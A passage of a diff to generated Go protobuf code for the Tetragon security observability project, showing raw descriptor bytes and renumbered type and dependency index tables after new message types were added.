0x74, 0x12, 0x45, 0x0a, 0x0f, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x43, 0x6f, 0x6e, 0x74, + 0x61, 0x69, 0x6e, 0x65, 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x74, 0x65, + 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x43, 0x6f, 0x6e, + 0x74, 0x61, 0x69, 0x6e, 0x65, 0x72, 0x48, 0x00, 0x52, 0x0f, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, + 0x43, 0x6f, 0x6e, 0x74, 0x61, 0x69, 0x6e, 0x65, 0x72, 0x42, 0x07, 0x0a, 0x05, 0x65, 0x76, 0x65, + 0x6e, 0x74, 0x22, 0x15, 0x0a, 0x13, 0x52, 0x75, 0x6e, 0x74, 0x69, 0x6d, 0x65, 0x48, 0x6f, 0x6f, + 0x6b, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x6f, 0x0a, 0x05, 0x4d, 0x6f, 0x75, + 0x6e, 0x74, 0x12, 0x20, 0x0a, 0x0b, 0x64, 0x65, 0x73, 0x74, 0x69, 0x6e, 0x61, 0x74, 0x69, 0x6f, + 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x64, 0x65, 0x73, 0x74, 0x69, 0x6e, 0x61, + 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x12, 0x0a, 0x04, 0x74, 0x79, 0x70, 0x65, 0x18, 0x02, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x04, 0x74, 0x79, 0x70, 0x65, 0x12, 0x16, 0x0a, 0x06, 0x73, 0x6f, 0x75, 0x72, + 0x63, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x73, 0x6f, 0x75, 0x72, 0x63, 0x65, + 0x12, 0x18, 0x0a, 0x07, 0x6f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x04, 0x20, 0x03, 0x28, + 0x09, 0x52, 0x07, 0x6f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0xca, 0x03, 0x0a, 0x0f, 0x43, + 0x72, 0x65, 0x61, 0x74, 0x65, 0x43, 0x6f, 0x6e, 0x74, 0x61, 0x69, 0x6e, 0x65, 0x72, 0x12, 0x20, + 0x0a, 0x0b, 0x63, 0x67, 0x72, 0x6f, 0x75, 0x70, 0x73, 0x50, 0x61, 0x74, 0x68, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x0b, 0x63, 0x67, 0x72, 0x6f, 0x75, 0x70, 0x73, 0x50, 0x61, 0x74, 0x68, + 0x12, 0x18, 0x0a, 0x07, 0x72, 0x6f, 0x6f, 0x74, 0x44, 0x69, 0x72, 0x18, 0x02, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x07, 0x72, 0x6f, 0x6f, 0x74, 0x44, 0x69, 0x72, 0x12, 0x4c, 0x0a, 0x0b, 0x61, 0x6e, + 0x6e, 0x6f, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, + 0x2a, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x43, 0x72, 0x65, 0x61, 0x74, + 0x65, 0x43, 0x6f, 0x6e, 0x74, 0x61, 0x69, 0x6e, 0x65, 0x72, 0x2e, 0x41, 0x6e, 0x6e, 0x6f, 0x74, + 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0b, 0x61, 0x6e, 0x6e, + 0x6f, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x24, 0x0a, 0x0d, 0x63, 0x6f, 0x6e, 0x74, + 0x61, 0x69, 0x6e, 0x65, 0x72, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x0d, 0x63, 0x6f, 0x6e, 0x74, 0x61, 0x69, 0x6e, 0x65, 0x72, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x20, + 0x0a, 0x0b, 0x63, 0x6f, 0x6e, 0x74, 0x61, 0x69, 0x6e, 0x65, 0x72, 0x49, 0x44, 0x18, 0x05, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x0b, 0x63, 0x6f, 0x6e, 0x74, 0x61, 0x69, 0x6e, 0x65, 0x72, 0x49, 0x44, + 0x12, 0x18, 0x0a, 0x07, 0x70, 0x6f, 0x64, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x06, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x07, 0x70, 0x6f, 0x64, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x16, 0x0a, 0x06, 0x70, 0x6f, + 0x64, 0x55, 0x49, 0x44, 0x18, 0x07, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x70, 0x6f, 0x64, 0x55, + 0x49, 0x44, 0x12, 0x22, 0x0a, 0x0c, 0x70, 0x6f, 0x64, 0x4e, 0x61, 0x6d, 0x65, 0x73, 0x70, 0x61, + 0x63, 0x65, 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x70, 0x6f, 0x64, 0x4e, 0x61, 0x6d, + 0x65, 0x73, 0x70, 0x61, 0x63, 0x65, 0x12, 0x26, 0x0a, 0x0e, 0x63, 0x6f, 0x6e, 0x74, 0x61, 0x69, + 0x6e, 0x65, 0x72, 0x49, 0x6d, 0x61, 0x67, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, + 0x63, 0x6f, 0x6e, 0x74, 0x61, 0x69, 0x6e, 0x65, 0x72, 0x49, 0x6d, 0x61, 0x67, 0x65, 0x12, 0x27, + 0x0a, 0x06, 0x6d, 0x6f, 0x75, 0x6e, 0x74, 0x73, 0x18, 0x0a, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x0f, + 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x4d, 0x6f, 0x75, 0x6e, 0x74, 0x52, + 0x06, 0x6d, 0x6f, 0x75, 0x6e, 0x74, 0x73, 0x1a, 0x3e, 0x0a, 0x10, 0x41, 0x6e, 0x6e, 0x6f, 0x74, + 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, + 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, + 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x76, 0x61, + 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x73, 0x0a, 0x0f, 0x53, 0x74, 0x61, 0x63, 0x6b, + 0x54, 0x72, 0x61, 0x63, 0x65, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x18, 0x0a, 0x07, 0x61, 0x64, + 0x64, 0x72, 0x65, 0x73, 0x73, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x07, 0x61, 0x64, 0x64, + 0x72, 0x65, 0x73, 0x73, 0x12, 0x16, 0x0a, 0x06, 0x6f, 0x66, 0x66, 0x73, 0x65, 0x74, 0x18, 0x02, + 0x20, 0x01, 0x28, 0x04, 0x52, 0x06, 0x6f, 0x66, 0x66, 0x73, 0x65, 0x74, 0x12, 0x16, 0x0a, 0x06, + 0x73, 0x79, 0x6d, 0x62, 0x6f, 0x6c, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x73, 0x79, + 0x6d, 0x62, 0x6f, 0x6c, 0x12, 0x16, 0x0a, 0x06, 0x6d, 0x6f, 0x64, 0x75, 0x6c, 0x65, 0x18, 0x04, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x6d, 0x6f, 0x64, 0x75, 0x6c, 0x65, 0x2a, 0xdb, 0x03, 0x0a, + 0x0c, 0x4b, 0x70, 0x72, 0x6f, 0x62, 0x65, 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x19, 0x0a, + 0x15, 0x4b, 0x50, 0x52, 0x4f, 0x42, 0x45, 0x5f, 0x41, 0x43, 0x54, 0x49, 0x4f, 0x4e, 0x5f, 0x55, + 0x4e, 0x4b, 0x4e, 0x4f, 0x57, 0x4e, 0x10, 0x00, 0x12, 0x16, 0x0a, 0x12, 0x4b, 0x50, 0x52, 0x4f, + 0x42, 0x45, 0x5f, 0x41, 0x43, 0x54, 0x49, 0x4f, 0x4e, 0x5f, 0x50, 0x4f, 0x53, 0x54, 0x10, 0x01, + 0x12, 0x1a, 0x0a, 0x16, 0x4b, 0x50, 0x52, 0x4f, 0x42, 0x45, 0x5f, 0x41, 0x43, 0x54, 0x49, 0x4f, + 0x4e, 0x5f, 0x46, 0x4f, 0x4c, 0x4c, 0x4f, 0x57, 0x46, 0x44, 0x10, 0x02, 0x12, 0x19, 0x0a, 0x15, + 0x4b, 0x50, 0x52, 0x4f, 0x42, 0x45, 0x5f, 0x41, 0x43, 0x54, 0x49, 0x4f, 0x4e, 0x5f, 0x53, 0x49, + 0x47, 0x4b, 0x49, 0x4c, 0x4c, 0x10, 0x03, 0x12, 0x1c, 0x0a, 0x18, 0x4b, 0x50, 0x52, 0x4f, 0x42, + 0x45, 0x5f, 0x41, 0x43, 0x54, 0x49, 0x4f, 0x4e, 0x5f, 0x55, 0x4e, 0x46, 0x4f, 0x4c, 0x4c, 0x4f, + 0x57, 0x46, 0x44, 0x10, 0x04, 0x12, 0x1a, 0x0a, 0x16, 0x4b, 0x50, 0x52, 0x4f, 0x42, 0x45, 0x5f, + 0x41, 0x43, 0x54, 0x49, 0x4f, 0x4e, 0x5f, 0x4f, 0x56, 0x45, 0x52, 0x52, 0x49, 0x44, 0x45, 0x10, + 0x05, 0x12, 0x18, 0x0a, 0x14, 0x4b, 0x50, 0x52, 0x4f, 0x42, 0x45, 0x5f, 0x41, 0x43, 0x54, 0x49, + 0x4f, 0x4e, 0x5f, 0x43, 0x4f, 0x50, 0x59, 0x46, 0x44, 0x10, 0x06, 0x12, 0x18, 0x0a, 0x14, 0x4b, + 0x50, 0x52, 0x4f, 0x42, 0x45, 0x5f, 0x41, 0x43, 0x54, 0x49, 0x4f, 0x4e, 0x5f, 0x47, 0x45, 0x54, + 0x55, 0x52, 0x4c, 0x10, 0x07, 0x12, 0x1b, 0x0a, 0x17, 0x4b, 0x50, 0x52, 0x4f, 0x42, 0x45, 0x5f, + 0x41, 0x43, 0x54, 0x49, 0x4f, 0x4e, 0x5f, 0x44, 0x4e, 0x53, 0x4c, 0x4f, 0x4f, 0x4b, 0x55, 0x50, + 0x10, 0x08, 0x12, 0x18, 0x0a, 0x14, 0x4b, 0x50, 0x52, 0x4f, 0x42, 0x45, 0x5f, 0x41, 0x43, 0x54, + 0x49, 0x4f, 0x4e, 0x5f, 0x4e, 0x4f, 0x50, 0x4f, 0x53, 0x54, 0x10, 0x09, 0x12, 0x18, 0x0a, 0x14, + 0x4b, 0x50, 0x52, 0x4f, 0x42, 0x45, 0x5f, 0x41, 0x43, 0x54, 0x49, 0x4f, 0x4e, 0x5f, 0x53, 0x49, + 0x47, 0x4e, 0x41, 0x4c, 0x10, 0x0a, 0x12, 0x1b, 0x0a, 0x17, 0x4b, 0x50, 0x52, 0x4f, 0x42, 0x45, + 0x5f, 0x41, 0x43, 0x54, 0x49, 0x4f, 0x4e, 0x5f, 0x54, 0x52, 0x41, 0x43, 0x4b, 0x53, 0x4f, 0x43, + 0x4b, 0x10, 0x0b, 0x12, 0x1d, 0x0a, 0x19, 0x4b, 0x50, 0x52, 0x4f, 0x42, 0x45, 0x5f, 0x41, 0x43, + 0x54, 0x49, 0x4f, 0x4e, 0x5f, 0x55, 0x4e, 0x54, 0x52, 0x41, 0x43, 0x4b, 0x53, 0x4f, 0x43, 0x4b, + 0x10, 0x0c, 0x12, 0x20, 0x0a, 0x1c, 0x4b, 0x50, 0x52, 0x4f, 0x42, 0x45, 0x5f, 0x41, 0x43, 0x54, + 0x49, 0x4f, 0x4e, 0x5f, 0x4e, 0x4f, 0x54, 0x49, 0x46, 0x59, 0x45, 0x4e, 0x46, 0x4f, 0x52, 0x43, + 0x45, 0x52, 0x10, 0x0d, 0x12, 0x2d, 0x0a, 0x29, 0x4b, 0x50, 0x52, 0x4f, 0x42, 0x45, 0x5f, 0x41, + 0x43, 0x54, 0x49, 0x4f, 0x4e, 0x5f, 0x43, 0x4c, 0x45, 0x41, 0x4e, 0x55, 0x50, 0x45, 0x4e, 0x46, + 0x4f, 0x52, 0x43, 0x45, 0x52, 0x4e, 0x4f, 0x54, 0x49, 0x46, 0x49, 0x43, 0x41, 0x54, 0x49, 0x4f, + 0x4e, 0x10, 0x0e, 0x12, 0x15, 0x0a, 0x11, 0x4b, 0x50, 0x52, 0x4f, 0x42, 0x45, 0x5f, 0x41, 0x43, + 0x54, 0x49, 0x4f, 0x4e, 0x5f, 0x53, 0x45, 0x54, 0x10, 0x0f, 0x2a, 0x4f, 0x0a, 0x10, 0x48, 0x65, + 0x61, 0x6c, 0x74, 0x68, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x54, 0x79, 0x70, 0x65, 0x12, 0x1c, + 0x0a, 0x18, 0x48, 0x45, 0x41, 0x4c, 0x54, 0x48, 0x5f, 0x53, 0x54, 0x41, 0x54, 0x55, 0x53, 0x5f, + 0x54, 0x59, 0x50, 0x45, 0x5f, 0x55, 0x4e, 0x44, 0x45, 0x46, 0x10, 0x00, 0x12, 0x1d, 0x0a, 0x19, + 0x48, 0x45, 0x41, 0x4c, 0x54, 0x48, 0x5f, 0x53, 0x54, 0x41, 0x54, 0x55, 0x53, 0x5f, 0x54, 0x59, + 0x50, 0x45, 0x5f, 0x53, 0x54, 0x41, 0x54, 0x55, 0x53, 0x10, 0x01, 0x2a, 0x7c, 0x0a, 0x12, 0x48, + 0x65, 0x61, 0x6c, 0x74, 0x68, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x52, 0x65, 0x73, 0x75, 0x6c, + 0x74, 0x12, 0x17, 0x0a, 0x13, 0x48, 0x45, 0x41, 0x4c, 0x54, 0x48, 0x5f, 0x53, 0x54, 0x41, 0x54, + 0x55, 0x53, 0x5f, 0x55, 0x4e, 0x44, 0x45, 0x46, 0x10, 0x00, 0x12, 0x19, 0x0a, 0x15, 0x48, 0x45, + 0x41, 0x4c, 0x54, 0x48, 0x5f, 0x53, 0x54, 0x41, 0x54, 0x55, 0x53, 0x5f, 0x52, 0x55, 0x4e, 0x4e, + 0x49, 0x4e, 0x47, 0x10, 0x01, 0x12, 0x19, 0x0a, 0x15, 0x48, 0x45, 0x41, 0x4c, 0x54, 0x48, 0x5f, + 0x53, 0x54, 0x41, 0x54, 0x55, 0x53, 0x5f, 0x53, 0x54, 0x4f, 0x50, 0x50, 0x45, 0x44, 0x10, 0x02, + 0x12, 0x17, 0x0a, 0x13, 0x48, 0x45, 0x41, 0x4c, 0x54, 0x48, 0x5f, 0x53, 0x54, 0x41, 0x54, 0x55, + 0x53, 0x5f, 0x45, 0x52, 0x52, 0x4f, 0x52, 0x10, 0x03, 0x2a, 0x8d, 0x02, 0x0a, 0x0f, 0x54, 0x61, + 0x69, 0x6e, 0x74, 0x65, 0x64, 0x42, 0x69, 0x74, 0x73, 0x54, 0x79, 0x70, 0x65, 0x12, 0x0f, 0x0a, + 0x0b, 0x54, 0x41, 0x49, 0x4e, 0x54, 0x5f, 0x55, 0x4e, 0x53, 0x45, 0x54, 0x10, 0x00, 0x12, 0x1c, + 0x0a, 0x18, 0x54, 0x41, 0x49, 0x4e, 0x54, 0x5f, 0x50, 0x52, 0x4f, 0x50, 0x52, 0x49, 0x45, 0x54, + 0x41, 0x52, 0x59, 0x5f, 0x4d, 0x4f, 0x44, 0x55, 0x4c, 0x45, 0x10, 0x01, 0x12, 0x17, 0x0a, 0x13, + 0x54, 0x41, 0x49, 0x4e, 0x54, 0x5f, 0x46, 0x4f, 0x52, 0x43, 0x45, 0x44, 0x5f, 0x4d, 0x4f, 0x44, + 0x55, 0x4c, 0x45, 0x10, 0x02, 0x12, 0x1e, 0x0a, 0x1a, 0x54, 0x41, 0x49, 0x4e, 0x54, 0x5f, 0x46, + 0x4f, 0x52, 0x43, 0x45, 0x44, 0x5f, 0x55, 0x4e, 0x4c, 0x4f, 0x41, 0x44, 0x5f, 0x4d, 0x4f, 0x44, + 0x55, 0x4c, 0x45, 0x10, 0x04, 0x12, 0x18, 0x0a, 0x13, 0x54, 0x41, 0x49, 0x4e, 0x54, 0x5f, 0x53, + 0x54, 0x41, 0x47, 0x45, 0x44, 0x5f, 0x4d, 0x4f, 0x44, 0x55, 0x4c, 0x45, 0x10, 0x80, 0x08, 0x12, + 0x1d, 0x0a, 0x18, 0x54, 0x41, 0x49, 0x4e, 0x54, 0x5f, 0x4f, 0x55, 0x54, 0x5f, 0x4f, 0x46, 0x5f, + 0x54, 0x52, 0x45, 0x45, 0x5f, 0x4d, 0x4f, 0x44, 0x55, 0x4c, 0x45, 0x10, 0x80, 0x20, 0x12, 0x1a, + 0x0a, 0x15, 0x54, 0x41, 0x49, 0x4e, 0x54, 0x5f, 0x55, 0x4e, 0x53, 0x49, 0x47, 0x4e, 0x45, 0x44, + 0x5f, 0x4d, 0x4f, 0x44, 0x55, 0x4c, 0x45, 0x10, 0x80, 0x40, 0x12, 0x24, 0x0a, 0x1e, 0x54, 0x41, + 0x49, 0x4e, 0x54, 0x5f, 0x4b, 0x45, 0x52, 0x4e, 0x45, 0x4c, 0x5f, 0x4c, 0x49, 0x56, 0x45, 0x5f, + 0x50, 0x41, 0x54, 0x43, 0x48, 0x5f, 0x4d, 0x4f, 0x44, 0x55, 0x4c, 0x45, 0x10, 0x80, 0x80, 0x02, + 0x12, 0x17, 0x0a, 0x11, 0x54, 0x41, 0x49, 0x4e, 0x54, 0x5f, 0x54, 0x45, 0x53, 0x54, 0x5f, 0x4d, + 0x4f, 0x44, 0x55, 0x4c, 0x45, 0x10, 0x80, 0x80, 0x10, 0x42, 0x2c, 0x5a, 0x2a, 0x67, 0x69, 0x74, + 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x63, 0x69, 0x6c, 0x69, 0x75, 0x6d, 0x2f, 0x74, + 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x76, 0x31, 0x2f, 0x74, + 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, } var ( @@ -5255,7 +5887,7 @@ func file_tetragon_tetragon_proto_rawDescGZIP() []byte { } var file_tetragon_tetragon_proto_enumTypes = make([]protoimpl.EnumInfo, 4) -var file_tetragon_tetragon_proto_msgTypes = make([]protoimpl.MessageInfo, 49) +var file_tetragon_tetragon_proto_msgTypes = make([]protoimpl.MessageInfo, 55) var file_tetragon_tetragon_proto_goTypes = []any{ (KprobeAction)(0), // 0: tetragon.KprobeAction (HealthStatusType)(0), // 1: tetragon.HealthStatusType @@ -5274,62 +5906,68 @@ var file_tetragon_tetragon_proto_goTypes = []any{ (*FileProperties)(nil), // 14: tetragon.FileProperties (*BinaryProperties)(nil), // 15: tetragon.BinaryProperties (*UserRecord)(nil), // 16: tetragon.UserRecord - (*Process)(nil), // 17: tetragon.Process - (*ProcessExec)(nil), // 18: tetragon.ProcessExec - (*ProcessExit)(nil), // 19: tetragon.ProcessExit - (*KprobeSock)(nil), // 20: tetragon.KprobeSock - (*KprobeSkb)(nil), // 21: tetragon.KprobeSkb - (*KprobeSockaddr)(nil), // 22: tetragon.KprobeSockaddr - (*KprobeNetDev)(nil), // 23: tetragon.KprobeNetDev - (*KprobePath)(nil), // 24: tetragon.KprobePath - (*KprobeFile)(nil), // 25: tetragon.KprobeFile - (*KprobeTruncatedBytes)(nil), // 26: tetragon.KprobeTruncatedBytes - (*KprobeCred)(nil), // 27: tetragon.KprobeCred - (*KprobeLinuxBinprm)(nil), // 28: tetragon.KprobeLinuxBinprm - (*KprobeCapability)(nil), // 29: tetragon.KprobeCapability - (*KprobeUserNamespace)(nil), // 30: tetragon.KprobeUserNamespace - (*KprobeBpfAttr)(nil), // 31: tetragon.KprobeBpfAttr - (*KprobePerfEvent)(nil), // 32: tetragon.KprobePerfEvent - (*KprobeBpfMap)(nil), // 33: tetragon.KprobeBpfMap - (*SyscallId)(nil), // 34: tetragon.SyscallId - (*KprobeArgument)(nil), // 35: tetragon.KprobeArgument - (*ProcessKprobe)(nil), // 36: tetragon.ProcessKprobe - (*ProcessTracepoint)(nil), // 37: tetragon.ProcessTracepoint - (*ProcessUprobe)(nil), // 38: tetragon.ProcessUprobe - (*ProcessLsm)(nil), // 39: tetragon.ProcessLsm - (*KernelModule)(nil), // 40: tetragon.KernelModule - (*Test)(nil), // 41: tetragon.Test - (*GetHealthStatusRequest)(nil), // 42: tetragon.GetHealthStatusRequest - (*HealthStatus)(nil), // 43: tetragon.HealthStatus - (*GetHealthStatusResponse)(nil), // 44: tetragon.GetHealthStatusResponse - (*ProcessLoader)(nil), // 45: tetragon.ProcessLoader - (*RuntimeHookRequest)(nil), // 46: tetragon.RuntimeHookRequest - (*RuntimeHookResponse)(nil), // 47: tetragon.RuntimeHookResponse - (*CreateContainer)(nil), // 48: tetragon.CreateContainer - (*StackTraceEntry)(nil), // 49: tetragon.StackTraceEntry - nil, // 50: tetragon.Pod.PodLabelsEntry - nil, // 51: tetragon.Pod.PodAnnotationsEntry - nil, // 52: tetragon.CreateContainer.AnnotationsEntry - (*timestamppb.Timestamp)(nil), // 53: google.protobuf.Timestamp - (*wrapperspb.UInt32Value)(nil), // 54: google.protobuf.UInt32Value - (CapabilitiesType)(0), // 55: tetragon.CapabilitiesType - (*wrapperspb.Int32Value)(nil), // 56: google.protobuf.Int32Value - (SecureBitsType)(0), // 57: tetragon.SecureBitsType - (ProcessPrivilegesChanged)(0), // 58: tetragon.ProcessPrivilegesChanged - (*wrapperspb.BoolValue)(nil), // 59: google.protobuf.BoolValue - (BpfCmd)(0), // 60: tetragon.BpfCmd + (*EnvVar)(nil), // 17: tetragon.EnvVar + (*Process)(nil), // 18: tetragon.Process + (*ProcessExec)(nil), // 19: tetragon.ProcessExec + (*ProcessExit)(nil), // 20: tetragon.ProcessExit + (*KprobeSock)(nil), // 21: tetragon.KprobeSock + (*KprobeSkb)(nil), // 22: tetragon.KprobeSkb + (*KprobeSockaddr)(nil), // 23: tetragon.KprobeSockaddr + (*KprobeSockaddrUn)(nil), // 24: tetragon.KprobeSockaddrUn + (*KprobeNetDev)(nil), // 25: tetragon.KprobeNetDev + (*KprobePath)(nil), // 26: tetragon.KprobePath + (*KprobeFile)(nil), // 27: tetragon.KprobeFile + (*KprobeTruncatedBytes)(nil), // 28: tetragon.KprobeTruncatedBytes + (*KprobeCred)(nil), // 29: tetragon.KprobeCred + (*KprobeLinuxBinprm)(nil), // 30: tetragon.KprobeLinuxBinprm + (*KprobeCapability)(nil), // 31: tetragon.KprobeCapability + (*KprobeUserNamespace)(nil), // 32: tetragon.KprobeUserNamespace + (*KprobeBpfAttr)(nil), // 33: tetragon.KprobeBpfAttr + (*KprobeBpfProg)(nil), // 34: tetragon.KprobeBpfProg + (*KprobePerfEvent)(nil), // 35: tetragon.KprobePerfEvent + (*KprobeBpfMap)(nil), // 36: tetragon.KprobeBpfMap + (*KprobeError)(nil), // 37: tetragon.KprobeError + (*SyscallId)(nil), // 38: tetragon.SyscallId + (*KprobeArgument)(nil), // 39: tetragon.KprobeArgument + (*ProcessKprobe)(nil), // 40: tetragon.ProcessKprobe + (*ProcessTracepoint)(nil), // 41: tetragon.ProcessTracepoint + (*ProcessUprobe)(nil), // 42: tetragon.ProcessUprobe + (*ProcessUsdt)(nil), // 43: tetragon.ProcessUsdt + (*ProcessLsm)(nil), // 44: tetragon.ProcessLsm + (*KernelModule)(nil), // 45: tetragon.KernelModule + (*Test)(nil), // 46: tetragon.Test + (*GetHealthStatusRequest)(nil), // 47: tetragon.GetHealthStatusRequest + (*HealthStatus)(nil), // 48: tetragon.HealthStatus + (*GetHealthStatusResponse)(nil), // 49: tetragon.GetHealthStatusResponse + (*ProcessLoader)(nil), // 50: tetragon.ProcessLoader + (*RuntimeHookRequest)(nil), // 51: tetragon.RuntimeHookRequest + (*RuntimeHookResponse)(nil), // 52: tetragon.RuntimeHookResponse + (*Mount)(nil), // 53: tetragon.Mount + (*CreateContainer)(nil), // 54: tetragon.CreateContainer + (*StackTraceEntry)(nil), // 55: tetragon.StackTraceEntry + nil, // 56: tetragon.Pod.PodLabelsEntry + nil, // 57: tetragon.Pod.PodAnnotationsEntry + nil, // 58: tetragon.CreateContainer.AnnotationsEntry + (*timestamppb.Timestamp)(nil), // 59: google.protobuf.Timestamp + (*wrapperspb.UInt32Value)(nil), // 60: google.protobuf.UInt32Value + (CapabilitiesType)(0), // 61: tetragon.CapabilitiesType + (*wrapperspb.Int32Value)(nil), // 62: google.protobuf.Int32Value + (SecureBitsType)(0), // 63: tetragon.SecureBitsType + (ProcessPrivilegesChanged)(0), // 64: tetragon.ProcessPrivilegesChanged + (*wrapperspb.BoolValue)(nil), // 65: google.protobuf.BoolValue + (BpfCmd)(0), // 66: tetragon.BpfCmd } var file_tetragon_tetragon_proto_depIdxs = []int32{ 4, // 0: tetragon.Container.image:type_name -> tetragon.Image - 53, // 1: tetragon.Container.start_time:type_name -> google.protobuf.Timestamp - 54, // 2: tetragon.Container.pid:type_name -> google.protobuf.UInt32Value + 59, // 1: tetragon.Container.start_time:type_name -> google.protobuf.Timestamp + 60, // 2: tetragon.Container.pid:type_name -> google.protobuf.UInt32Value 5, // 3: tetragon.Container.security_context:type_name -> tetragon.SecurityContext 6, // 4: tetragon.Pod.container:type_name -> tetragon.Container - 50, // 5: tetragon.Pod.pod_labels:type_name -> tetragon.Pod.PodLabelsEntry - 51, // 6: tetragon.Pod.pod_annotations:type_name -> tetragon.Pod.PodAnnotationsEntry - 55, // 7: tetragon.Capabilities.permitted:type_name -> tetragon.CapabilitiesType - 55, // 8: tetragon.Capabilities.effective:type_name -> tetragon.CapabilitiesType - 55, // 9: tetragon.Capabilities.inheritable:type_name -> tetragon.CapabilitiesType + 56, // 5: tetragon.Pod.pod_labels:type_name -> tetragon.Pod.PodLabelsEntry + 57, // 6: tetragon.Pod.pod_annotations:type_name -> tetragon.Pod.PodAnnotationsEntry + 61, // 7: tetragon.Capabilities.permitted:type_name -> tetragon.CapabilitiesType + 61, // 8: tetragon.Capabilities.effective:type_name -> tetragon.CapabilitiesType + 61, // 9: tetragon.Capabilities.inheritable:type_name -> tetragon.CapabilitiesType 9, // 10: tetragon.Namespaces.uts:type_name -> tetragon.Namespace 9, // 11: tetragon.Namespaces.ipc:type_name -> tetragon.Namespace 9, // 12: tetragon.Namespaces.mnt:type_name -> tetragon.Namespace @@ -5340,110 +5978,125 @@ var file_tetragon_tetragon_proto_depIdxs = []int32{ 9, // 17: tetragon.Namespaces.time_for_children:type_name -> tetragon.Namespace 9, // 18: tetragon.Namespaces.cgroup:type_name -> tetragon.Namespace 9, // 19: tetragon.Namespaces.user:type_name -> tetragon.Namespace - 56, // 20: tetragon.UserNamespace.level:type_name -> google.protobuf.Int32Value - 54, // 21: tetragon.UserNamespace.uid:type_name -> google.protobuf.UInt32Value - 54, // 22: tetragon.UserNamespace.gid:type_name -> google.protobuf.UInt32Value + 62, // 20: tetragon.UserNamespace.level:type_name -> google.protobuf.Int32Value + 60, // 21: tetragon.UserNamespace.uid:type_name -> google.protobuf.UInt32Value + 60, // 22: tetragon.UserNamespace.gid:type_name -> google.protobuf.UInt32Value 9, // 23: tetragon.UserNamespace.ns:type_name -> tetragon.Namespace - 54, // 24: tetragon.ProcessCredentials.uid:type_name -> google.protobuf.UInt32Value - 54, // 25: tetragon.ProcessCredentials.gid:type_name -> google.protobuf.UInt32Value - 54, // 26: tetragon.ProcessCredentials.euid:type_name -> google.protobuf.UInt32Value - 54, // 27: tetragon.ProcessCredentials.egid:type_name -> google.protobuf.UInt32Value - 54, // 28: tetragon.ProcessCredentials.suid:type_name -> google.protobuf.UInt32Value - 54, // 29: tetragon.ProcessCredentials.sgid:type_name -> google.protobuf.UInt32Value - 54, // 30: tetragon.ProcessCredentials.fsuid:type_name -> google.protobuf.UInt32Value - 54, // 31: tetragon.ProcessCredentials.fsgid:type_name -> google.protobuf.UInt32Value - 57, // 32: tetragon.ProcessCredentials.securebits:type_name -> tetragon.SecureBitsType + 60, // 24: tetragon.ProcessCredentials.uid:type_name -> google.protobuf.UInt32Value + 60, // 25: tetragon.ProcessCredentials.gid:type_name -> google.protobuf.UInt32Value + 60, // 26: tetragon.ProcessCredentials.euid:type_name -> google.protobuf.UInt32Value + 60, // 27: tetragon.ProcessCredentials.egid:type_name -> google.protobuf.UInt32Value + 60, // 28: tetragon.ProcessCredentials.suid:type_name -> google.protobuf.UInt32Value + 60, // 29: tetragon.ProcessCredentials.sgid:type_name -> google.protobuf.UInt32Value + 60, // 30: 